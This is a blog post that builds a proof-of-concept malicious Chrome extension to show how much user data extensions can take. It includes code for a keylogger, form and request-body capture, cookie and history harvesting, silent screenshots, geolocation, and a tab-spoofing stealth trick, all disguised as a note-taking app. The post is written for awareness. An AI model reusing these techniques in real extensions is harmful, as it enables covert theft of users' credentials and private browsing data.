Manifest v3 may have taken some of the juice out of browser extensions, but I think there is still plenty left in the tank. To prove it, let’s build a Chrome extension that steals as much data as possible. I’m talking kitchen sink, whole enchilada, Grinch-plundering-Whoville levels of data theft.

This will accomplish two things:

  • Explore the edges of what is possible with Chrome extensions

  • Demonstrate what you are exposed to if you aren’t careful with what you install

Disclaimer: actually implementing this would be evil. You shouldn’t abuse extension permissions, steal user data, or build malicious browser extensions. Any implementation, derivative extension, or utilization of these techniques, without the express written consent of Major League Baseball, is not advised.

  • The user shouldn’t be aware that anything is happening behind the scenes.

  • There must be no visual indication that anything is awry.

    • No extra console messages, warnings, or errors.

    • No additional browser warning or permission dialogs.

    • No extra page-level network traffic.

  • Once the user agrees to the *ahem* ample permission warnings, that’s the last time they should have to think about the extension’s permissions.

If you’re not familiar with the internals of browser extensions, there’s three components that we care about for our evil extension:

Background Service Worker

  • Event driven. Can be used as a “persistent” container for running JavaScript

  • Can access all* of the WebExtensions API

  • Cannot access DOM APIs

  • Cannot directly access pages

Popup Page

  • Only opens after user interaction

  • Can access all* of the WebExtensions API

  • Can access DOM APIs

  • Cannot directly access pages

Content Script

  • Has direct and full access to all pages and the DOM

  • Can run JavaScript in page, but in sandboxed runtime

  • Can only use a subset of the WebExtensions API

  • Subject to same restrictions as page (CORS, etc)

*Minor restrictions apply, batteries not included

Just for fun, our malicious extension will request all possible permissions. https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ has a list of Chrome extension permissions, and we’ll take the lot.

After pruning out all permissions that Chrome doesn’t support, we get the following:

{
  ...
  "host_permissions": [""],
  "permissions": [
    "activeTab",
    "alarms",
    "background",
    "bookmarks",
    "browsingData",
    "clipboardRead",
    "clipboardWrite",
    "contentSettings",
    "contextMenus",
    "cookies",
    "debugger",
    "declarativeContent",
    "declarativeNetRequest",
    "declarativeNetRequestWithHostAccess",
    "declarativeNetRequestFeedback",
    "desktopCapture",
    "downloads",
    "fontSettings",
    "gcm",
    "geolocation",
    "history",
    "identity",
    "idle",
    "management",
    "nativeMessaging",
    "notifications",
    "pageCapture",
    "power",
    "printerProvider",
    "privacy",
    "proxy",
    "scripting",
    "search",
    "sessions",
    "storage",
    "system.cpu",
    "system.display",
    "system.memory",
    "system.storage",
    "tabCapture",
    "tabGroups",
    "tabs",
    "tabs",
    "topSites",
    "tts",
    "ttsEngine",
    "unlimitedStorage",
    "webNavigation",
    "webRequest"
  ],
}

manifest.json

Most of these permissions won’t be needed, but who cares? Let’s see what the warning message looks like:

Chrome scrolls the permission warning message container, so more than half of the warning messages don’t even show up. I’d bet most users wouldn’t think twice about installing an extension that appears to ask for just 5 permissions.

The full permission warning list is as follows:

  • Above the fold:

    • Access the page debugger backend

    • Read and change all your data on websites

    • Detect your physical location

    • Read and change your browsing history on all your signed-in devices

    • Display notifications

  • Below the fold:

    • Read and change your bookmarks

    • Read and modify data you copy and paste

    • Capture content of your screen

    • Manage your downloads

    • Identify and eject storage devices

    • Change your settings that websites’ access to features such as cookies, JavaScript, plugins, geolocation, microphone, camera, etc.

    • Manage your apps, extensions, and themes

    • Communicate with cooperating native applications

    • Change your privacy-related settings

    • View and manage your tab groups

    • Read all text using spoken synthesized speech

Let’s add in a content script that runs in all pages and frames, extend our extension’s coverage to incognito windows, and make all our resources accessible just in case we need them:

{
  ...
  "web_accessible_resources": [
    {
      "resources": ["*"],
      "matches": [""]
    }
  ],
  "content_scripts": [
    {
      "matches": [""],
      "all_frames": true,
      "css": [],
      "js": ["content-script.js"],
      "run_at": "document_end"
    }
  ],
  "incognito": "spanning",
}

manifest.json

Our heinous extension will masquerade as a note-taking app:

This gives us an extension page that will be opened frequently, allowing us to perform nefarious data collection silently. We’ll also use a background service worker.

Life is short, the internet is fast, and storage is cheap. Any data our extension decides to collect can be sent off to a server we control through the background service worker, and the user will be none the wiser. These network requests will only show up if they decide to inspect the network activity of the extension itself, which is pretty hard to get to.

Want to add invasive user tracking to web pages? No problem! Network traffic from the background page is not subject to ad blockers or other user privacy extensions, so track every click and keystroke to you heart’s content. (External network traffic managers and things like PiHole will still work)

Right off the bat, the WebExtensions API lets us collect quite a bit with almost zero effort.

chrome.cookies.getAll({}) retrieves all the browser’s cookies as an array.

chrome.history.search({ text: "" }) retrieves the user’s entire browsing history as an array.

chrome.tabs.captureVisibleTab() silently captures a screenshot of whatever the user is currently looking at. We can call this as often as we like with messages sent from the content script – or even more frequently on URLs we deem to be valuable. The API returns the image as nice data URL strings, so it’s trivial to whisk them off to our data collection endpoint.

Are your browser extensions capturing your screen right now? You’ll never know!

We can use the webNavigation API to easily track the user’s browsing activity in real time:

chrome.webNavigation.onCompleted.addListener((details) => {
  // {
  //   "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
  //   "documentLifecycle": "active",
  //   "frameId": 0,
  //   "frameType": "outermost_frame",
  //   "parentFrameId": -1,
  //   "processId": 139,
  //   "tabId": 174034187,
  //   "timeStamp": 1676958729790.8088,
  //   "url": "https://www.linkedin.com/feed/"
  // }
});

background.js

The webRequest API lets us watch all network traffic from every tab, tease out network traffic with a requestBody, and extract capturing credentials, addresses, etc:

chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    if (details.requestBody) {
      // Capture requestBody data
    }
  },
  {
    urls: [""],
  },
  ["requestBody"]
);

background.js

With a content script running on every page, reading keystrokes is dead easy. Creating a keystroke buffer that is periodically flushed will give us nice consecutive keystrokes that are easy to read.

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
  if (buffer.length > 0) {
    // Flush the buffer

    buffer = "";
  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});

content-script.js

From the content script, we can just listen for input events on any editable elements and capture their value.

[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
  input.addEventListener("input", _.debounce((e) => {
    // Read input value
  }, 1000))
);

content-script.js

If we’re expecting the page DOM to change often (for example, with SPAs), we certainly don’t want to miss out on any valuable data. Just set a MutationObserver to watch the entire page, and reapply listeners as needed.

const inputs: WeakSet = new WeakSet();

const debouncedHandler = _.debounce(() => {
  [...document.querySelectorAll("input,textarea,[contenteditable")]
    .filter((input: Element) => !inputs.has(input))
    .map((input) => {
      input.addEventListener(
        "input",
        _.debounce((e) => {
          // Read input value
        }, 1000)
      );

      inputs.add(input);
    });
}, 1000);

const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });

content-script.js

This one is a bit trickier. navigator.clipboard.read() or any other Clipboard API methods will prompt the user with a permissions dialog, so these are off-limits.

Using document.execCommand("paste") to dump the clipboard into a hidden input is unreliable, so we’re stuck grabbing the selected text out of the page.

document.addEventListener("copy", () => {
  const selected = window.getSelection()?.toString();

  // Capture selected text on copy events
});

content-script.js

(Note: I’m not totally satisfied with this, but good enough for now.)

Geolocation capturing is the trickiest one due to Chrome’s restrictions on when and how it an be captured. Adding the geolocation permission only allows us to capture the location inside an extension page, not from content scripts. If the popup is opened frequently enough, this might be sufficient.

navigator.geolocation.getCurrentPosition(
  (position) => {
    // Capture position
  },
  (e) => {},
  {
    enableHighAccuracy: true,
    timeout: 5000,
    maximumAge: 0,
  }
);

popup.js

If we need more geolocation data, we’ll need to do it from a content script. We need to prevent the browser from generating a permission dialog, so first we check if the page already has the geolocation permission. If it does, we can silently request the location.

navigator.permissions
  .query({ name: "geolocation" })
  .then(({ state }: { state: string }) => {
    if (state === "granted") {
      captureGeolocation();
    }
  });

content-script.js

If you’re anything like me, you have a ton of tabs open. Most tabs sit there idly for long stretches of time, and Chrome eagerly unmounts idle tabs to free up system resources.

Suppose we needed to open an extension page in a tab without the user noticing. Maybe we need to perform some additional page-level processing with the WebExtensions API. Opening and closing a new tab would cause a lot of visual movement in the tab bar, this is too suspicious. Instead, let’s reuse an existing tab and make it appear to be the old tab.

This could work as follows:

  1. Find a candidate tab that the user isn’t paying attention to.

  2. Record its URL, favicon URL, and title.

  3. Replace that tab with our extension page, and immediately replace the favicon and title so it resembles the original tab.

  4. Do bad things.

  5. Once the page finishes, or once the user opens the tab, navigate back to the original URL.

Let’s build a proof of concept. Here’s an example background script to open the stealth tab:

export async function openStealthTab() {
  const tabs = await chrome.tabs.query({
    // Don't use the tab the user is looking at
    active: false,
    // Don't use pinned tabs, they're probably used frequently
    pinned: false,
    // Don't use a tab generating audio
    audible: false,
    // Don't use a tab until it is finished loading
    status: "complete",
  });

  const [eligibleTab] = tabs.filter((tab) => {
    // Must have url and id
    if (!tab.id || !tab.url) {
      return false;
    }

    // Don't use extension pages
    if (new URL(tab.url).protocol === "chrome-extension:") {
      return false;
    }

    return true;
  });

  if (eligibleTab) {
    // These values will be used to spoof the current page
    // and navigate back
    const searchParams = new URLSearchParams({
      returnUrl: eligibleTab.url as string,
      faviconUrl: eligibleTab.favIconUrl || "",
      title: eligibleTab.title || "",
    });

    const url = `${chrome.runtime.getURL(
      "stealth-tab.html"
    )}?${searchParams.toString()}`;

    // Open the stealth tab
    await chrome.tabs.update(eligibleTab.id, {
      url,
      active: false,
    });
  }
}

background.js

And here’s our stealth tab script:


const searchParams = new URL(window.location.href).searchParams;

// Spoof the previous page tab appearance
document.title = searchParams.get('title);
document.querySelector(`link[rel="icon"]`)
  .setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
  // User focused this tab, flee!
  window.location.href = searchParams.get('returnUrl');
}

// Check to see if this page is visible on load
if (document.visibilityState === "visible") {
  useReturnUrl();
}

document.addEventListener("visibilitychange", () => useReturnUrl());

// Now do bad things

// Done doing bad things, return!
useReturnUrl();

stealth-tab.js

Nothing suspicious here!

I’m kidding, of course. This extension would be laughed out of the review queue.

This extension is obviously a caricature of a malicious extension, but is it so crazy to think that a subset of this behavior could be used? When installing a Chrome extension that seems trustworthy (whatever that means), most users will ignore the permissions warning messages no matter how scary they are. Once you accept the permissions, you are at the extension’s mercy.

You might be thinking “Matt, surely this doesn’t apply to me! I’m a savvy tech guru who is careful, fastidious, and obsequious. Nobody could ever pull one over on me.”

In that case, my obsequious friend, answer these questions:

  • Without looking, can you name more than half of the extensions you have installed right now?

  • Who maintains them? Is it the same entity that maintained it when you first installed? Are you sure?

  • Did you really scrutinize their permissions?

You can test out the Spy Extension here: https://github.com/msfrisbie/spy-extension

I’ve added an options page so you can see all the plundered data the extension is able to suck out of your browser. I’m not going to post a screenshot; suffice to say, the contents of the page are a tiny bit compromising.

Nothing collected leaves your browser. Or does it? (No, it doesn’t)

Matt Frisbie is the author of Building Browser Extensions

You can reach me at mattfriz.com

Read More